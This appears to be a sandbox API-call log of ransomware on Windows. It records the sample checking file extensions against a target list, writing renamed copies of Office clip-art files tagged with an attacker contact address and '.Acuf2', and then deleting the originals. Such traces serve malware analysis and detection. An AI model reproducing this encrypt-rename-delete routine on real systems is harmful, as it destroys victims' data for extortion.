	[0254.825] lstrlenW (lpString=".7z") returned 3
	[0254.826] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0254.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62
	[0254.826] lstrlenW (lpString=".dbf") returned 4
	[0254.826] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0254.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62
	[0254.826] lstrlenW (lpString=".1cd") returned 4
	[0254.826] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0254.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62
	[0254.826] lstrlenW (lpString=".jpg") returned 4
	[0254.826] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0254.826] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0254.826] lstrlenW (lpString="GRID_01.MID") returned 11
	[0254.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0254.827] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=6331) returned 1
	[0254.827] CloseHandle (hObject=0x330) returned 1
	[0254.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid")) returned 0x20
	[0254.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0254.831] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.831] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0254.831] GetLastError () returned 0x0
	[0254.831] ReadFile (in: hFile=0x330, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x18bb, lpOverlapped=0x0) returned 1
	[0254.832] WriteFile (in: hFile=0x328, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x18c0, lpOverlapped=0x0) returned 1
	[0254.833] ReadFile (in: hFile=0x330, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.833] WriteFile (in: hFile=0x328, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0254.833] SetEndOfFile (hFile=0x328) returned 1
	[0254.834] CloseHandle (hObject=0x328) returned 1
	[0254.834] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.834] SetEndOfFile (hFile=0x330) returned 1
	[0254.837] CloseHandle (hObject=0x330) returned 1
	[0254.837] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.837] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid")) returned 1
	[0254.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62
	[0254.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62
	[0254.837] lstrlenW (lpString=".doc") returned 4
	[0254.837] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0254.837] lstrlenW (lpString=".docx") returned 5
	[0254.837] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0254.837] lstrlenW (lpString=".pdf") returned 4
	[0254.837] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0254.837] lstrlenW (lpString=".xls") returned 4
	[0254.837] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0254.837] lstrlenW (lpString=".xlsx") returned 5
	[0254.838] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0254.838] lstrlenW (lpString=".ppt") returned 4
	[0254.838] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0254.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62
	[0254.838] lstrlenW (lpString=".zip") returned 4
	[0254.838] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0254.838] lstrlenW (lpString=".rar") returned 4
	[0254.838] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0254.838] lstrlenW (lpString=".bz2") returned 4
	[0254.838] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0254.838] lstrlenW (lpString=".7z") returned 3
	[0254.838] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0254.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62
	[0254.838] lstrlenW (lpString=".dbf") returned 4
	[0254.838] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0254.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62
	[0254.838] lstrlenW (lpString=".1cd") returned 4
	[0254.838] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0254.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62
	[0254.838] lstrlenW (lpString=".jpg") returned 4
	[0254.838] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0254.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62
	[0254.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62
	[0254.838] lstrlenW (lpString=".doc") returned 4
	[0254.838] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0254.838] lstrlenW (lpString=".docx") returned 5
	[0254.838] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0254.838] lstrlenW (lpString=".pdf") returned 4
	[0254.839] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0254.839] lstrlenW (lpString=".xls") returned 4
	[0254.839] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0254.839] lstrlenW (lpString=".xlsx") returned 5
	[0254.839] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0254.839] lstrlenW (lpString=".ppt") returned 4
	[0254.839] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0254.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62
	[0254.839] lstrlenW (lpString=".zip") returned 4
	[0254.839] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0254.839] lstrlenW (lpString=".rar") returned 4
	[0254.839] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0254.839] lstrlenW (lpString=".bz2") returned 4
	[0254.839] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0254.839] lstrlenW (lpString=".7z") returned 3
	[0254.839] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0254.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62
	[0254.839] lstrlenW (lpString=".dbf") returned 4
	[0254.839] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0254.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62
	[0254.839] lstrlenW (lpString=".1cd") returned 4
	[0254.975] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0254.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62
	[0254.975] lstrlenW (lpString=".jpg") returned 4
	[0254.975] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0254.975] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0254.975] lstrlenW (lpString="MUSIC_01.MID") returned 12
	[0254.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.231] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=6880) returned 1
	[0255.231] CloseHandle (hObject=0x334) returned 1
	[0255.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid")) returned 0x20
	[0255.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.232] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.232] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0255.232] GetLastError () returned 0x0
	[0255.232] ReadFile (in: hFile=0x334, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x1ae0, lpOverlapped=0x0) returned 1
	[0255.279] WriteFile (in: hFile=0x328, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x1af0, lpOverlapped=0x0) returned 1
	[0255.280] ReadFile (in: hFile=0x334, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.280] WriteFile (in: hFile=0x328, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.280] SetEndOfFile (hFile=0x328) returned 1
	[0255.283] CloseHandle (hObject=0x328) returned 1
	[0255.283] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.283] SetEndOfFile (hFile=0x334) returned 1
	[0255.289] CloseHandle (hObject=0x334) returned 1
	[0255.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.330] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid")) returned 1
	[0255.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63
	[0255.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63
	[0255.331] lstrlenW (lpString=".doc") returned 4
	[0255.331] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.331] lstrlenW (lpString=".docx") returned 5
	[0255.331] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0255.331] lstrlenW (lpString=".pdf") returned 4
	[0255.331] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.331] lstrlenW (lpString=".xls") returned 4
	[0255.331] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.331] lstrlenW (lpString=".xlsx") returned 5
	[0255.331] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0255.331] lstrlenW (lpString=".ppt") returned 4
	[0255.331] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63
	[0255.331] lstrlenW (lpString=".zip") returned 4
	[0255.331] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.331] lstrlenW (lpString=".rar") returned 4
	[0255.331] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.331] lstrlenW (lpString=".bz2") returned 4
	[0255.331] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.331] lstrlenW (lpString=".7z") returned 3
	[0255.331] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63
	[0255.331] lstrlenW (lpString=".dbf") returned 4
	[0255.331] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63
	[0255.331] lstrlenW (lpString=".1cd") returned 4
	[0255.332] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63
	[0255.332] lstrlenW (lpString=".jpg") returned 4
	[0255.332] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63
	[0255.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63
	[0255.332] lstrlenW (lpString=".doc") returned 4
	[0255.332] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.332] lstrlenW (lpString=".docx") returned 5
	[0255.332] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0255.332] lstrlenW (lpString=".pdf") returned 4
	[0255.332] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.332] lstrlenW (lpString=".xls") returned 4
	[0255.332] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.332] lstrlenW (lpString=".xlsx") returned 5
	[0255.332] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0255.332] lstrlenW (lpString=".ppt") returned 4
	[0255.332] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63
	[0255.332] lstrlenW (lpString=".zip") returned 4
	[0255.332] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.332] lstrlenW (lpString=".rar") returned 4
	[0255.332] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.332] lstrlenW (lpString=".bz2") returned 4
	[0255.332] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.332] lstrlenW (lpString=".7z") returned 3
	[0255.333] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63
	[0255.333] lstrlenW (lpString=".dbf") returned 4
	[0255.333] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63
	[0255.333] lstrlenW (lpString=".1cd") returned 4
	[0255.333] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 63
	[0255.333] lstrlenW (lpString=".jpg") returned 4
	[0255.333] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.333] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0255.333] lstrlenW (lpString="PAPER_01.MID") returned 12
	[0255.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.396] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=6763) returned 1
	[0255.396] CloseHandle (hObject=0x334) returned 1
	[0255.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid")) returned 0x20
	[0255.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0255.397] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.397] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0255.398] GetLastError () returned 0x0
	[0255.398] ReadFile (in: hFile=0x334, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x1a6b, lpOverlapped=0x0) returned 1
	[0255.399] WriteFile (in: hFile=0x354, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x1a70, lpOverlapped=0x0) returned 1
	[0255.400] ReadFile (in: hFile=0x334, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.400] WriteFile (in: hFile=0x354, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.400] SetEndOfFile (hFile=0x354) returned 1
	[0255.400] CloseHandle (hObject=0x354) returned 1
	[0255.400] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.400] SetEndOfFile (hFile=0x334) returned 1
	[0255.403] CloseHandle (hObject=0x334) returned 1
	[0255.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.404] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid")) returned 1
	[0255.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63
	[0255.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63
	[0255.404] lstrlenW (lpString=".doc") returned 4
	[0255.404] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.404] lstrlenW (lpString=".docx") returned 5
	[0255.404] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0255.404] lstrlenW (lpString=".pdf") returned 4
	[0255.404] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.404] lstrlenW (lpString=".xls") returned 4
	[0255.404] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.404] lstrlenW (lpString=".xlsx") returned 5
	[0255.404] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0255.404] lstrlenW (lpString=".ppt") returned 4
	[0255.404] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63
	[0255.404] lstrlenW (lpString=".zip") returned 4
	[0255.404] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.404] lstrlenW (lpString=".rar") returned 4
	[0255.404] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.405] lstrlenW (lpString=".bz2") returned 4
	[0255.405] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.405] lstrlenW (lpString=".7z") returned 3
	[0255.405] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63
	[0255.405] lstrlenW (lpString=".dbf") returned 4
	[0255.405] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63
	[0255.405] lstrlenW (lpString=".1cd") returned 4
	[0255.405] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0255.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63
	[0255.405] lstrlenW (lpString=".jpg") returned 4
	[0255.405] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0255.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63
	[0255.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63
	[0255.405] lstrlenW (lpString=".doc") returned 4
	[0255.405] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0255.405] lstrlenW (lpString=".docx") returned 5
	[0255.405] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0255.405] lstrlenW (lpString=".pdf") returned 4
	[0255.405] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0255.405] lstrlenW (lpString=".xls") returned 4
	[0255.405] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0255.405] lstrlenW (lpString=".xlsx") returned 5
	[0255.405] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0255.405] lstrlenW (lpString=".ppt") returned 4
	[0255.406] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0255.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63
	[0255.406] lstrlenW (lpString=".zip") returned 4
	[0255.406] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0255.406] lstrlenW (lpString=".rar") returned 4
	[0255.406] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0255.406] lstrlenW (lpString=".bz2") returned 4
	[0255.406] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0255.406] lstrlenW (lpString=".7z") returned 3
	[0255.406] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0255.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63
	[0255.406] lstrlenW (lpString=".dbf") returned 4
	[0255.406] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0255.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63
	[0255.406] lstrlenW (lpString=".1cd") returned 4
	[0255.406] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
